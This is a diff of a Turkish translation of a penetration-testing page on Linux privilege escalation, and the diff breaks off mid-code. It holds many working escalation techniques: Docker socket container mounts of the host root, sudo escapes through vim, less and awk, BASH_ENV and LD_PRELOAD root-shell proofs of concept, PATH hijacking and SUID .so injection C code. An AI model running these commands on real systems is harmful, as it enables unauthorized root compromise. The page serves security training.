`Accept=no` için uygun bir şekilde yazmak önerilir. -- `ExecStartPre`, `ExecStartPost`: Bir veya daha fazla komut satırı alır; bunlar dinleme **sockets**/FIFOs **oluşturulup** bağlanmadan önce veya sonra sırasıyla **çalıştırılır**. Komut satırının ilk token'ı mutlak bir dosya adı olmalıdır, ardından proses için argümanlar gelir. -- `ExecStopPre`, `ExecStopPost`: Dinleme **sockets**/FIFOs **kapatılmadan** ve kaldırılmadan önce veya sonra **çalıştırılan** ek **komutlar**. -- `Service`: Gelen trafik üzerinde **etkinleştirilecek** olan **service** unit adını belirtir. Bu ayar yalnızca `Accept=no` olan soketler için izinlidir. Varsayılan olarak socket ile aynı ada sahip (suffix değiştirilmiş) service olur. Çoğu durumda bu seçeneği kullanmak gerekli değildir. +- `ListenStream`, `ListenDatagram`, `ListenSequentialPacket`, `ListenFIFO`, `ListenSpecial`, `ListenNetlink`, `ListenMessageQueue`, `ListenUSBFunction`: Bu seçenekler farklıdır ancak bir özet, soketin **nerede dinleyeceğini belirtmek** için kullanılır (AF_UNIX socket dosyasının yolu, dinlenecek IPv4/6 ve/veya port numarası vb.) +- `Accept`: boolean bir argüman alır. Eğer **true** ise, **her gelen bağlantı için bir servis örneği başlatılır** ve yalnızca bağlantı soketi ona iletilir. Eğer **false** ise, tüm dinleme soketleri **başlatılan servis birimine geçirilir**, ve tüm bağlantılar için yalnızca bir servis birimi başlatılır. Bu değer, tek bir servis biriminin koşulsuz şekilde tüm gelen trafiği yönettiği datagram soketleri ve FIFO'lar için göz ardı edilir. **Varsayılan false'tur**. Performans nedenleriyle, yeni daemon'ların yalnızca `Accept=no` ile uyumlu olacak şekilde yazılması önerilir. +- `ExecStartPre`, `ExecStartPost`: Bir veya daha fazla komut satırı alır; bunlar sırasıyla dinlenen **sockets**/FIFO'lar **oluşturulmadan** ve bağlanmadan **önce** veya **sonra** **çalıştırılır**. Komut satırının ilk öğesi mutlak bir dosya adı olmalı, ardından işlem için argümanlar gelir. +- `ExecStopPre`, `ExecStopPost`: Dinlenen **sockets**/FIFO'lar **kapatılmadan** ve kaldırılmadan **önce** veya **sonra** **çalıştırılan** ek **komutlar**dır. +- `Service`: Gelen trafik üzerine **aktive edilecek** **service** unit adını belirtir. Bu ayar sadece Accept=no olan soketler için izinlidir. Varsayılan olarak, soketle aynı ada sahip (son eki değiştirilmiş) servis kullanılır. Çoğu durumda bu seçeneği kullanmaya gerek yoktur. ### Writable .socket files -Eğer bir **yazılabilir** `.socket` dosyası bulursanız, `[Socket]` bölümünün başına `ExecStartPre=/home/kali/sys/backdoor` gibi bir şey **ekleyebilirsiniz** ve backdoor, socket oluşturulmadan önce çalıştırılacaktır. Bu nedenle, **muhtemelen makinenin yeniden başlatılmasını beklemeniz gerekir.**\ +If you find a **writable** `.socket` file you can **add** at the beginning of the `[Socket]` section something like: `ExecStartPre=/home/kali/sys/backdoor` and the backdoor will be executed before the socket is created. Therefore, you will **probably need to wait until the machine is rebooted.**\ _Not that the system must be using that socket file configuration or the backdoor won't be executed_ ### Writable sockets -Eğer herhangi bir **yazılabilir socket** tespit ederseniz (_şimdi config `.socket` dosyalarından değil, Unix Sockets'ten bahsediyoruz_), o socket ile **iletişim kurabilir** ve belki bir zafiyetten faydalanabilirsiniz. +If you **identify any writable socket** (_now we are talking about Unix Sockets and not about the config `.socket` files_), then **you can communicate** with that socket and maybe exploit a vulnerability. ### Enumerate Unix Sockets ```bash @@ -508,36 +508,36 @@ socket-command-injection.md ### HTTP sockets -HTTP isteklerini dinleyen bazı **sockets listening for HTTP** olabilir (_Bahsettiğim .socket files değil, unix sockets olarak davranan dosyalar_). Bunu şu komutla kontrol edebilirsiniz: +Dikkat: bazı **sockets listening for HTTP** requests olabilir (_Ben .socket dosyalarından değil, unix sockets olarak davranan dosyalardan bahsediyorum_). Bunu şu komutla kontrol edebilirsiniz: ```bash curl --max-time 2 --unix-socket /pat/to/socket/files http:/index ``` -Eğer socket **HTTP isteğine yanıt veriyorsa**, onunla **iletişim kurabilir** ve belki de bazı güvenlik açıklarını **exploit** edebilirsiniz. +Eğer socket **HTTP ile cevap veriyorsa**, onunla **iletişim kurabilir** ve belki de bazı **zafiyetleri istismar edebilirsiniz**. ### Yazılabilir Docker Socket -Docker socket, genellikle `/var/run/docker.sock` konumunda bulunan kritik bir dosyadır ve güvenli hale getirilmelidir. Varsayılan olarak, `root` kullanıcısı ve `docker` grubunun üyeleri tarafından yazılabilir. Bu socket'e yazma erişimi sahibi olmak privilege escalation'a yol açabilir. Aşağıda bunun nasıl yapılabileceği ve Docker CLI kullanılabilir değilse alternatif yöntemlerin bir dökümü bulunmaktadır. +Docker socket, genellikle `/var/run/docker.sock` konumunda bulunur ve korunması gereken kritik bir dosyadır. Varsayılan olarak, `root` kullanıcısı ve `docker` grubunun üyeleri tarafından yazılabilir. Bu socket'e yazma erişimine sahip olmak privilege escalation'a yol açabilir. Aşağıda bunun nasıl yapılabileceğinin ve Docker CLI mevcut değilse alternatif yöntemlerin bir dökümü bulunmaktadır. #### **Privilege Escalation with Docker CLI** -Eğer Docker socket'e yazma erişiminiz varsa, aşağıdaki komutları kullanarak privilege escalation gerçekleştirebilirsiniz: +If you have write access to the Docker socket, you can escalate privileges using the following commands: ```bash docker -H unix:///var/run/docker.sock run -v /:/host -it ubuntu chroot /host /bin/bash docker -H unix:///var/run/docker.sock run -it --privileged --pid=host debian nsenter -t 1 -m -u -n -i sh ``` -Bu komutlar, ana makinenin dosya sistemine root düzeyinde erişime sahip bir container çalıştırmanızı sağlar. +Bu komutlar, host'un dosya sistemine root düzeyinde erişimi olan bir container çalıştırmanıza izin verir. #### **Docker API'sini Doğrudan Kullanma** -Docker CLI mevcut olmadığında, Docker socket hala Docker API ve `curl` komutları kullanılarak manipüle edilebilir. +Docker CLI mevcut değilse, Docker socket yine Docker API ve `curl` komutları kullanılarak manipüle edilebilir. -1. **Docker Görüntülerini Listele:** Kullanılabilir görüntülerin listesini alın. +1. **List Docker Images:** Mevcut image'lerin listesini alın. ```bash curl -XGET --unix-socket /var/run/docker.sock http://localhost/images/json ``` -2. **Create a Container:** Ana sistemin root dizinini mount eden bir container oluşturmak için istek gönderin. +2. **Create a Container:** Ana sistemin kök dizinini mount eden bir container oluşturmak için istek gönderin. ```bash curl -XPOST -H "Content-Type: application/json" --unix-socket /var/run/docker.sock -d '{"Image":"","Cmd":["/bin/sh"],"DetachKeys":"Ctrl-p,Ctrl-q","OpenStdin":true,"Mounts":[{"Type":"bind","Source":"/","Target":"/host_root"}]}' http://localhost/containers/create @@ -549,7 +549,7 @@ Yeni oluşturulan container'ı başlatın: curl -XPOST --unix-socket /var/run/docker.sock http://localhost/containers//start ``` -3. **Container'a Bağlan:** `socat` kullanarak container ile bir bağlantı kurun; bu, içinde komut çalıştırmanıza olanak sağlar. +3. **Attach to the Container:** `socat` kullanarak container ile bağlantı kurun; bu, içinde komut çalıştırmanıza olanak sağlar. ```bash socat - UNIX-CONNECT:/var/run/docker.sock @@ -559,13 +559,13 @@ Connection: Upgrade Upgrade: tcp ``` -`socat` bağlantısını kurduktan sonra, ana makinenin dosya sistemine root düzeyinde erişimle container içinde doğrudan komut çalıştırabilirsiniz. +`socat` bağlantısını kurduktan sonra, host'un dosya sistemine root erişimiyle doğrudan container içinde komut çalıştırabilirsiniz. ### Diğerleri -docker socket üzerinde yazma izniniz varsa çünkü **inside the group `docker`** grubunun içindesiniz [**ayrıca ayrıcalıkları yükseltmenin daha fazla yolu**](interesting-groups-linux-pe/index.html#docker-group). Eğer [**docker API bir portta dinliyorsa**](../../network-services-pentesting/2375-pentesting-docker.md#compromising), onu da ele geçirebilirsiniz. +Eğer docker socket üzerinde yazma izinleriniz varsa çünkü **`docker` grubunun içindeyseniz**, [**daha fazla ayrıcalık yükseltme yolu**](interesting-groups-linux-pe/index.html#docker-group) vardır. Eğer [**docker API bir portta dinliyorsa** you can also be able to compromise it](../../network-services-pentesting/2375-pentesting-docker.md#compromising). -Docker'dan çıkmak veya ayrıcalıkları yükseltmek için onu kötüye kullanmanın **daha fazla yolunu** şu bölümde inceleyin: +docker'dan çıkmanın veya onu kötüye kullanarak ayrıcalıkları yükseltmenin **daha fazla yolunu** inceleyin: {{#ref}} @@ -574,7 +574,7 @@ docker-security/ ## Containerd (ctr) privilege escalation -Eğer **`ctr`** komutunu kullanabildiğinizi görürseniz, aşağıdaki sayfayı okuyun çünkü bunu ayrıcalıkları yükseltmek için kötüye kullanma imkanınız olabilir: +Eğer **`ctr`** komutunu kullanabildiğinizi görürseniz, aşağıdaki sayfayı okuyun çünkü onu ayrıcalıkları yükseltmek için kötüye kullanabiliyor olabilirsiniz: {{#ref}} @@ -583,7 +583,7 @@ containerd-ctr-privilege-escalation.md ## **RunC** privilege escalation -Eğer **`runc`** komutunu kullanabildiğinizi görürseniz, aşağıdaki sayfayı okuyun çünkü bunu ayrıcalıkları yükseltmek için kötüye kullanma imkanınız olabilir: +Eğer **`runc`** komutunu kullanabildiğinizi görürseniz, aşağıdaki sayfayı okuyun çünkü onu ayrıcalıkları yükseltmek için kötüye kullanabiliyor olabilirsiniz: {{#ref}} @@ -592,15 +592,15 @@ runc-privilege-escalation.md ## **D-Bus** -D-Bus, uygulamaların verimli şekilde etkileşimde bulunmasını ve veri paylaşmasını sağlayan gelişmiş bir inter-Process Communication (IPC) sistemidir. Modern Linux sistemi dikkate alınarak tasarlanmış olup, farklı uygulama iletişim biçimleri için sağlam bir çerçeve sunar. +D-Bus, uygulamaların verimli şekilde etkileşimde bulunup veri paylaşmasına olanak veren gelişmiş bir inter-Process Communication (IPC) sistemidir. Modern Linux sistemi gözetilerek tasarlanmış olup, uygulamalar arası farklı iletişim biçimleri için sağlam bir çerçeve sunar. -Sistem çok yönlüdür; süreçler arasındaki veri alışverişini artıran temel IPC'yi destekler ve bu, **enhanced UNIX domain sockets**'ı andırır. Ayrıca olayların veya sinyallerin yayınlanmasına yardımcı olur ve sistem bileşenleri arasında sorunsuz bir entegrasyonu teşvik eder. Örneğin, bir Bluetooth daemon'undan gelen gelen çağrı sinyali, bir müzik çalarını sessize almayı tetikleyerek kullanıcı deneyimini iyileştirebilir. Ayrıca D-Bus, uzak nesne sistemini destekleyerek uygulamalar arasındaki servis taleplerini ve yöntem çağrılarını basitleştirir; geleneksel olarak karmaşık olan süreçleri kolaylaştırır. +Sistem çok yönlüdür; temel IPC'yi destekleyerek süreçler arası veri alışverişini geliştirir ve gelişmiş UNIX domain sockets'ı anımsatan işlevsellik sağlar. Ayrıca olay veya sinyal yayınlamaya yardımcı olarak sistem bileşenleri arasında sorunsuz entegrasyonu teşvik eder. Örneğin, bir Bluetooth daemon'undan gelen gelen arama sinyali, bir müzik çalarını sesini kısmaya yönlendirebilir. D-Bus ayrıca uzak nesne (remote object) sistemini destekler; bu, servis taleplerini ve method çağırımlarını uygulamalar arasında basitleştirir ve geleneksel olarak karmaşık olan süreçleri düzene sokar. -D-Bus, eşleşen politika kurallarının kümülatif etkisine göre mesaj izinlerini (yöntem çağrıları, sinyal yayınları vb.) yöneten bir **allow/deny model** üzerinde çalışır. Bu politikalar bus ile etkileşimleri belirtir ve bu izinlerin kötüye kullanılması yoluyla ayrıcalık yükseltmeye olanak tanıyabilir. +D-Bus, allow/deny modeline göre çalışır; eşleşen politika kurallarının kümülatif etkisine dayanarak mesaj izinlerini (method çağrıları, sinyal yayınları vb.) yönetir. Bu politikalar bus ile etkileşimleri belirler ve bu izinlerin suiistimali yoluyla privilege escalation'a olanak tanıyabilir. -Böyle bir politikaya `/etc/dbus-1/system.d/wpa_supplicant.conf` içinde bir örnek verilmiştir; bu örnek, root kullanıcısının `fi.w1.wpa_supplicant1`'i sahiplenme, ona gönderme ve ondan alma izinlerini detaylandırır. +Böyle bir politikanın /etc/dbus-1/system.d/wpa_supplicant.conf içindeki bir örneği verilmiştir; burada root kullanıcısının `fi.w1.wpa_supplicant1` üzerinde sahiplik, gönderme ve alma izinleri detaylandırılmıştır. -Belirtilmiş bir kullanıcı veya grup olmayan politikalar evrensel olarak uygulanır; oysa "default" bağlam politikaları diğer belirli politikalar tarafından kapsanmayan herkese uygulanır. +Kullanıcı veya grup belirtilmeyen politikalar evrensel olarak uygulanırken, "default" bağlam politikaları diğer özel politikalar tarafından kapsanmayan herkese uygulanır. ```xml @@ -609,7 +609,7 @@ Belirtilmiş bir kullanıcı veya grup olmayan politikalar evrensel olarak uygul ``` -**D-Bus iletişimini nasıl enumerate edip exploit edeceğinizi burada öğrenin:** +**D-Bus iletişimini enumerate ve exploit etmeyi buradan öğrenin:** {{#ref}} @@ -618,7 +618,7 @@ d-bus-enumeration-and-command-injection-privilege-escalation.md ## **Ağ** -Ağda enumerate yapmak ve makinenin konumunu belirlemek her zaman ilginçtir. +Ağı enumerate etmek ve makinenin konumunu belirlemek her zaman ilginçtir. ### Genel enumeration ```bash @@ -645,22 +645,22 @@ lsof -i ``` ### Open ports -Erişmeden önce etkileşim kuramadığınız makinede çalışan ağ servislerini her zaman kontrol edin: +Erişim sağlamadan önce etkileşim kuramadığınız makinede çalışan ağ servislerini her zaman kontrol edin: ```bash (netstat -punta || ss --ntpu) (netstat -punta || ss --ntpu) | grep "127.0" ``` ### Sniffing -Trafiği sniff edip edemeyeceğinizi kontrol edin. Eğer yapabiliyorsanız, bazı credentials yakalayabilirsiniz. +Trafiği sniff edip edemeyeceğinizi kontrol edin. Eğer edebilirseniz, bazı kimlik bilgilerini ele geçirebilirsiniz. ``` timeout 1 tcpdump ``` -## Users +## Kullanıcılar ### Generic Enumeration -Kim olduğunu, hangi **privileges**'e sahip olduğunu, sistemlerde hangi **users**'ın bulunduğunu, hangilerinin **login** yapabildiğini ve hangilerinin **root privileges**'e sahip olduğunu kontrol et: +**kim** olduğunuzu, hangi **privileges**'a sahip olduğunuzu, sistemde hangi **kullanıcıların** bulunduğunu, hangilerinin **login** yapabildiğini ve hangilerinin **root privileges**'a sahip olduğunu kontrol edin: ```bash #Info about me id || (whoami && groups) 2>/dev/null @@ -684,12 +684,12 @@ gpg --list-keys 2>/dev/null ``` ### Big UID -Bazı Linux sürümleri, **UID > INT_MAX** olan kullanıcıların ayrıcalıkları yükseltmesine izin veren bir hatadan etkilendi. Daha fazla bilgi: [burada](https://gitlab.freedesktop.org/polkit/polkit/issues/74), [burada](https://github.com/mirchr/security-research/blob/master/vulnerabilities/CVE-2018-19788.sh) ve [burada](https://twitter.com/paragonsec/status/1071152249529884674).\ -**Bunu istismar edin** kullanarak: **`systemd-run -t /bin/bash`** +Bazı Linux sürümleri, **UID > INT_MAX** olan kullanıcıların ayrıcalık yükseltmesine izin veren bir hatadan etkilenmiştir. Daha fazla bilgi: [here](https://gitlab.freedesktop.org/polkit/polkit/issues/74), [here](https://github.com/mirchr/security-research/blob/master/vulnerabilities/CVE-2018-19788.sh) and [here](https://twitter.com/paragonsec/status/1071152249529884674).\ +**Exploit it** using: **`systemd-run -t /bin/bash`** ### Gruplar -root ayrıcalıkları sağlayabilecek bir **grubun üyesi olup olmadığınızı** kontrol edin: +Root ayrıcalıkları verebilecek **bir grubun üyesi** olup olmadığınızı kontrol edin: {{#ref}} @@ -698,7 +698,7 @@ interesting-groups-linux-pe/ ### Pano -Pano içinde ilginç bir şey olup olmadığını kontrol edin (mümkünse) +Panoda ilginç bir şey olup olmadığını kontrol edin (mümkünse) ```bash if [ `which xclip 2>/dev/null` ]; then echo "Clipboard: "`xclip -o -selection clipboard 2>/dev/null` @@ -715,27 +715,27 @@ grep "^PASS_MAX_DAYS\|^PASS_MIN_DAYS\|^PASS_WARN_AGE\|^ENCRYPT_METHOD" /etc/logi ``` ### Bilinen parolalar -Ortamın **herhangi bir parolasını biliyorsanız**, bu parolayı kullanarak **her kullanıcı olarak giriş yapmayı deneyin**. +Eğer ortamın **herhangi bir parolasını biliyorsanız** parolayı kullanarak **her kullanıcıya login olmaya çalışın**. ### Su Brute -Eğer çok fazla gürültü çıkarmayı umursamıyorsanız ve `su` ile `timeout` ikili dosyaları bilgisayarda mevcutsa, [su-bruteforce](https://github.com/carlospolop/su-bruteforce) kullanarak kullanıcıyı brute-force etmeyi deneyebilirsiniz.\ -[**Linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) `-a` parametresiyle de kullanıcıları brute-force etmeye çalışır. +Eğer çok gürültü yapmayı umursamıyorsanız ve `su` ve `timeout` ikilileri bilgisayarda mevcutsa, kullanıcıya brute-force uygulamayı [su-bruteforce](https://github.com/carlospolop/su-bruteforce).\ +[**Linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) `-a` parametresiyle aynı zamanda kullanıcıları brute-force etmeyi dener. ## Yazılabilir PATH istismarları ### $PATH -Eğer $PATH içindeki bir klasöre **yazabiliyorsanız**, farklı bir kullanıcı (tercihen root) tarafından çalıştırılacak bir komutun adıyla yazılabilir klasörün içinde **bir backdoor oluşturarak** ayrıcalıkları yükseltebilirsiniz; ancak bu komutun $PATH'te yazılabilir klasörünüzden önce yer alan bir klasörden **yüklenmemesi** gerekir. +Eğer **$PATH içindeki herhangi bir klasörün içine yazabiliyorsanız** yazılabilir klasörün içinde farklı bir kullanıcı (tercihen root) tarafından çalıştırılacak bir komutun adıyla **bir backdoor oluşturarak** ayrıcalıkları yükseltebilirsiniz; fakat bu komutun $PATH'te, yazılabilir klasörünüzden önce yer alan bir klasörden **yüklenmiyor olması** gerekir. ### SUDO and SUID -Bazı komutları sudo ile çalıştırmaya izinli olabilirsiniz veya bazı dosyaların suid biti setli olabilir. Bunu şu komutla kontrol edin: +Bazı komutları sudo ile çalıştırmaya izinli olabilirsiniz veya bazı ikili dosyalarda suid biti setli olabilir. Bunu şu şekilde kontrol edin: ```bash sudo -l #Check commands you can execute with sudo find / -perm -4000 2>/dev/null #Find all SUID binaries ``` -Bazı **beklenmedik komutlar dosyaları okumaya ve/veya yazmaya veya hatta bir komutu çalıştırmaya izin verir.** Örneğin: +Bazı **beklenmedik komutlar dosyaları okumaya ve/veya yazmaya veya hatta bir komut çalıştırmaya izin verir.** Örneğin: ```bash sudo awk 'BEGIN {system("/bin/sh")}' sudo find /etc -exec sh -i \; @@ -746,37 +746,37 @@ less>! ``` ### NOPASSWD -Sudo yapılandırması, bir kullanıcının başka bir kullanıcının ayrıcalıklarıyla bir komutu parola bilmeden çalıştırmasına izin verebilir. +Sudo yapılandırması, bir kullanıcının başka bir kullanıcının ayrıcalıklarıyla belirli komutları parolayı bilmeden çalıştırmasına izin verebilir. ``` $ sudo -l User demo may run the following commands on crashlab: (root) NOPASSWD: /usr/bin/vim ``` -Bu örnekte kullanıcı `demo` `vim`'i `root` olarak çalıştırabiliyor; artık root dizinine bir ssh key ekleyerek veya `sh` çağırarak kolayca bir shell elde etmek mümkün. +Bu örnekte `demo` kullanıcısı `root` olarak `vim` çalıştırabiliyor; `root` dizinine bir `ssh` anahtarı ekleyerek veya `sh` çağırarak bir shell elde etmek artık çok kolay. ``` sudo vim -c '!sh' ``` ### SETENV -Bu yönerge, kullanıcının bir **çevresel değişken (environment variable)** ayarlayarak bir şey çalıştırmasına izin verir: +Bu direktif, kullanıcının bir şey çalıştırırken **set an environment variable** yapmasına izin verir: ```bash $ sudo -l User waldo may run the following commands on admirer: (ALL) SETENV: /opt/scripts/admin_tasks.sh ``` -Bu örnek, **HTB machine Admirer'a dayanan**, script root olarak çalıştırılırken rastgele bir python kütüphanesini yüklemek için **PYTHONPATH hijacking**'e **açıktı:** +Bu örnek, **based on HTB machine Admirer**, **savunmasızdı**; root olarak script çalıştırılırken rastgele bir python kütüphanesi yüklemek için **PYTHONPATH hijacking**'e açıktı: ```bash sudo PYTHONPATH=/dev/shm/ /opt/scripts/admin_tasks.sh ``` -### BASH_ENV sudo env_keep aracılığıyla korunmuş → root shell +### BASH_ENV sudo env_keep ile korunmuş → root shell -Eğer sudoers `BASH_ENV`'i koruyorsa (ör. `Defaults env_keep+="ENV BASH_ENV"`), izin verilen bir komut çağrıldığında Bash’in etkileşimsiz başlangıç davranışından yararlanarak istediğiniz kodu root olarak çalıştırabilirsiniz. +If sudoers preserves `BASH_ENV` (e.g., `Defaults env_keep+="ENV BASH_ENV"`), you can leverage Bash’s non-interactive startup behavior to run arbitrary code as root when invoking an allowed command. -- Why it works: Etkileşimsiz shell'ler için Bash, `$BASH_ENV`'i değerlendirir ve hedef script'i çalıştırmadan önce o dosyayı source eder. Birçok sudo kuralı bir script veya bir shell wrapper çalıştırılmasına izin verir. Eğer `BASH_ENV` sudo tarafından korunuyorsa, dosyanız root ayrıcalıklarıyla source edilir. +- Neden işe yarar: Etkileşimsiz shell'ler için Bash, hedef script'i çalıştırmadan önce `$BASH_ENV`'i değerlendirir ve o dosyayı kaynak olarak yükler. Birçok sudo kuralı bir script veya bir shell wrapper'ını çalıştırmaya izin verir. Eğer `BASH_ENV` sudo tarafından korunuyorsa, dosyanız root ayrıcalıklarıyla kaynak olarak yüklenir. - Gereksinimler: -- Çalıştırabileceğiniz bir sudo kuralı (etkileşimsiz olarak `/bin/bash` çağıran herhangi bir hedef, veya herhangi bir bash script). -- `BASH_ENV`'in `env_keep` içinde olması (`sudo -l` ile kontrol edin). +- Çalıştırabileceğiniz bir sudo kuralı (etkileşimsiz olarak `/bin/bash`'ı çağıran herhangi bir hedef veya herhangi bir bash script). +- `BASH_ENV`'in `env_keep` içinde bulunması (kontrol etmek için `sudo -l` kullanın). - PoC: ```bash @@ -789,13 +789,13 @@ BASH_ENV=/dev/shm/shell.sh sudo /usr/bin/systeminfo # or any permitted script/ # You should now have a root shell ``` - Sertleştirme: -- `BASH_ENV` (ve `ENV`) öğelerini `env_keep`'ten kaldırın, `env_reset`'i tercih edin. -- sudo-izinli komutlar için shell sarmalayıcılarından kaçının; minimal ikili (binary) kullanın. -- Korunan `env` değişkenleri kullanıldığında sudo I/O kaydı ve uyarı mekanizmalarını düşünün. +- `env_keep` içinden `BASH_ENV` (ve `ENV`) öğesini kaldırın, `env_reset` tercih edin. +- sudo tarafından izin verilen komutlar için shell wrappers kullanmaktan kaçının; mümkün olduğunca minimal binaries kullanın. +- Korunan env değişkenleri kullanıldığında sudo I/O kaydı ve uyarı düşünün. ### Sudo yürütme atlatma yolları -**Jump** ile diğer dosyaları okuyun veya **symlinks** kullanın. Örneğin sudoers dosyasında: _hacker10 ALL= (root) /bin/less /var/log/\*_ +**Jump** diğer dosyaları okumak veya **symlinks** kullanmak için. Örneğin sudoers dosyasında: _hacker10 ALL= (root) /bin/less /var/log/\*_ ```bash sudo less /var/logs/anything less>:e /etc/shadow #Jump to read other files using privileged less @@ -805,46 +805,46 @@ less>:e /etc/shadow #Jump to read other files using privileged less ln /etc/shadow /var/log/new sudo less /var/log/new #Use symlinks to read any file ``` -Eğer bir **wildcard** kullanılırsa (\*), bu daha da kolaydır: +Eğer **wildcard** kullanılırsa (\*), bu daha da kolaydır: ```bash sudo less /var/log/../../etc/shadow #Read shadow sudo less /var/log/something /etc/shadow #Red 2 files ``` -**Karşı Önlemler**: [https://blog.compass-security.com/2012/10/dangerous-sudoers-entries-part-5-recapitulation/](https://blog.compass-security.com/2012/10/dangerous-sudoers-entries-part-5-recapitulation/) +**Karşı önlemler**: [https://blog.compass-security.com/2012/10/dangerous-sudoers-entries-part-5-recapitulation/](https://blog.compass-security.com/2012/10/dangerous-sudoers-entries-part-5-recapitulation/) -### Sudo komutu/SUID binary komut yolu olmadan +### Sudo komutu/SUID ikili dosyası komut yolu olmadan -Eğer **sudo izni** tek bir komuta **komut yolu belirtilmeden** verilmişse: _hacker10 ALL= (root) less_ PATH variable'ını değiştirerek exploit edebilirsiniz +Eğer **sudo permission** tek bir komuta **komut yolu belirtilmeden** verilmişse: _hacker10 ALL= (root) less_ bunu PATH variable'ı değiştirerek istismar edebilirsiniz. ```bash export PATH=/tmp:$PATH #Put your backdoor in /tmp and name it "less" sudo less ``` -Bu teknik, bir **suid** binary başka bir komutu yolunu belirtmeden çalıştırıyorsa (her zaman garip bir SUID binary'nin içeriğini _**strings**_ ile kontrol edin) durumunda da kullanılabilir. +Bu teknik, bir **suid** ikili dosyası başka bir komutu yolunu belirtmeden çalıştırıyorsa da kullanılabilir (her zaman garip bir SUID ikili dosyanın içeriğini _**strings**_ ile kontrol edin). [Payload examples to execute.](payloads-to-execute.md) -### Komut yolu olan SUID binary +### Komut yolu olan SUID ikili dosyası -Eğer **suid** binary **başka bir komutu yolunu belirterek çalıştırıyorsa**, o zaman suid dosyasının çağırdığı komutun adıyla bir fonksiyon oluşturup bunu **export** etmeyi deneyebilirsiniz. +Eğer **suid** ikili dosyası **komutu yolunu belirterek başka bir komut çalıştırıyorsa**, o zaman suid dosyasının çağırdığı komutla aynı ada sahip bir fonksiyonu **export a function** olarak oluşturmayı deneyebilirsiniz. -Örneğin, eğer bir suid binary _**/usr/sbin/service apache2 start**_ çağırıyorsa, fonksiyonu oluşturup export etmeyi denemelisiniz: +Örneğin, eğer bir suid ikili dosyası _**/usr/sbin/service apache2 start**_ çağırıyorsa, fonksiyonu oluşturup onu export etmeyi denemelisiniz: ```bash function /usr/sbin/service() { cp /bin/bash /tmp && chmod +s /tmp/bash && /tmp/bash -p; } export -f /usr/sbin/service ``` -Sonra, suid ikili dosyasını çağırdığınızda, bu fonksiyon çalıştırılacaktır +Sonra, suid binary'i çağırdığınızda, bu fonksiyon çalıştırılacaktır ### LD_PRELOAD & **LD_LIBRARY_PATH** -The **LD_PRELOAD** environment variable is used to specify one or more shared libraries (.so files) to be loaded by the loader before all others, including the standard C library (`libc.so`). Bu işleme kütüphane ön yüklemesi denir. +The **LD_PRELOAD** environment variable is used to specify one or more shared libraries (.so files) to be loaded by the loader before all others, including the standard C library (`libc.so`). This process is known as preloading a library. -Ancak, sistem güvenliğini korumak ve bu özelliğin özellikle **suid/sgid** yürütülebilir dosyalarla kötüye kullanılmasını önlemek için sistem bazı koşullar uygular: +Ancak, sistem güvenliğini korumak ve bu özelliğin özellikle suid/sgid executables ile kötüye kullanılmasını önlemek için sistem bazı koşulları zorunlu kılar: -- Yükleyici, gerçek kullanıcı kimliği (_ruid_) ile etkin kullanıcı kimliği (_euid_) eşleşmeyen yürütülebilir dosyalar için **LD_PRELOAD**'ü göz ardı eder. -- suid/sgid olan yürütülebilir dosyalar için, yalnızca standart yollarda bulunan ve aynı zamanda suid/sgid olan kütüphaneler önceden yüklenir. +- Yükleyici, gerçek kullanıcı kimliği (_ruid_) ile etkin kullanıcı kimliği (_euid_) eşleşmeyen çalıştırılabilir dosyalar için **LD_PRELOAD**'u göz ardı eder. +- suid/sgid olan çalıştırılabilirler için, yalnızca standart yollardaki ve ayrıca suid/sgid olan kütüphaneler önceden yüklenir. -Privilege escalation, `sudo` ile komut çalıştırma yetkiniz varsa ve `sudo -l` çıktısı **env_keep+=LD_PRELOAD** ifadesini içeriyorsa gerçekleşebilir. Bu yapılandırma, komutlar `sudo` ile çalıştırıldığında bile **LD_PRELOAD** ortam değişkeninin korunmasına ve tanınmasına izin verir; bu da potansiyel olarak yükseltilmiş ayrıcalıklarla herhangi bir kodun çalıştırılmasına yol açabilir. +Privilege escalation, `sudo` ile komut çalıştırma yeteneğiniz varsa ve `sudo -l` çıktısında **env_keep+=LD_PRELOAD** ifadesi bulunuyorsa meydana gelebilir. Bu yapılandırma, **LD_PRELOAD** ortam değişkeninin `sudo` ile komutlar çalıştırıldığında bile korunmasına ve tanınmasına izin vererek, yüksek ayrıcalıklarla keyfi kodun yürütülmesine yol açabilir. ``` Defaults env_keep += LD_PRELOAD ``` @@ -861,7 +861,7 @@ setuid(0); system("/bin/bash"); } ``` -Sonra **bunu derleyin** kullanarak: +Ardından şunu kullanarak **derleyin**: ```bash cd /tmp gcc -fPIC -shared -o pe.so pe.c -nostartfiles @@ -871,7 +871,7 @@ Son olarak, **escalate privileges** çalıştırırken sudo LD_PRELOAD=./pe.so #Use any command you can run with sudo ``` > [!CAUTION] -> Benzer bir privesc, attacker **LD_LIBRARY_PATH** env variable'ını kontrol ediyorsa kötüye kullanılabilir çünkü kütüphanelerin aranacağı yolu o kontrol eder. +> Benzer bir privesc, saldırgan **LD_LIBRARY_PATH** env değişkenini kontrol ediyorsa kötüye kullanılabilir; çünkü kütüphanelerin aranacağı yolu o kontrol eder. ```c #include #include @@ -893,13 +893,13 @@ sudo LD_LIBRARY_PATH=/tmp ``` ### SUID Binary – .so injection -Normal olmayan bir binary ile **SUID** izinleriyle karşılaşıldığında, **.so** dosyalarını doğru şekilde yükleyip yüklemediğini doğrulamak iyi bir uygulamadır. Bu, aşağıdaki komutu çalıştırarak kontrol edilebilir: +Olağandışı görünen **SUID** izinlerine sahip bir binary ile karşılaşıldığında, **.so** dosyalarını düzgün yükleyip yüklemediğini doğrulamak iyi bir uygulamadır. Bu, aşağıdaki komutu çalıştırarak kontrol edilebilir: ```bash strace 2>&1 | grep -i -E "open|access|no such file" ``` -Örneğin, _"open(“/path/to/.config/libcalc.so”, O_RDONLY) = -1 ENOENT (No such file or directory)"_ gibi bir hatayla karşılaşmak exploitation için potansiyel olduğunu gösterir. +Örneğin, _"open(“/path/to/.config/libcalc.so”, O_RDONLY) = -1 ENOENT (No such file or directory)"_ gibi bir hata ile karşılaşmak exploitation için potansiyel bir durum olduğunu gösterir. -Bunu exploit etmek için, diyelim ki _"/path/to/.config/libcalc.c"_, adlı bir C dosyası oluşturup içine aşağıdaki kodu yazarsınız: +Bunu exploit etmek için, aşağıdaki kodu içerecek şekilde, örneğin _"/path/to/.config/libcalc.c"_ adlı bir C dosyası oluşturulur: ```c #include #include @@ -910,13 +910,13 @@ void inject(){ system("cp /bin/bash /tmp/bash && chmod +s /tmp/bash && 